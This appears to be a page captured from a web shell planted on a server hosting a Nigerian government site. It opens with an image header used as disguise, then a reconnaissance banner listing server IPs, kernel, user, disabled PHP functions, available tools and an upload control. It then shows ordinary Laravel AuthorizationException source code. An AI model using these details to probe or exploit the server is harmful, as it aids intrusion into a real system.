ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.136.19.91 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Auth/Access/ |
Upload File : |
<?php namespace Illuminate\Auth\Access; use Exception; use Throwable; class AuthorizationException extends Exception { /** * The response from the gate. * * @var \Illuminate\Auth\Access\Response */ protected $response; /** * Create a new authorization exception instance. * * @param string|null $message * @param mixed $code * @param \Throwable|null $previous * @return void */ public function __construct($message = null, $code = null, Throwable $previous = null) { parent::__construct($message ?? 'This action is unauthorized.', 0, $previous); $this->code = $code ?: 0; } /** * Get the response from the gate. * * @return \Illuminate\Auth\Access\Response */ public function response() { return $this->response; } /** * Set the response from the gate. * * @param \Illuminate\Auth\Access\Response $response * @return $this */ public function setResponse($response) { $this->response = $response; return $this; } /** * Create a deny response object from this exception. * * @return \Illuminate\Auth\Access\Response */ public function toResponse() { return Response::deny($this->message, $this->code); } }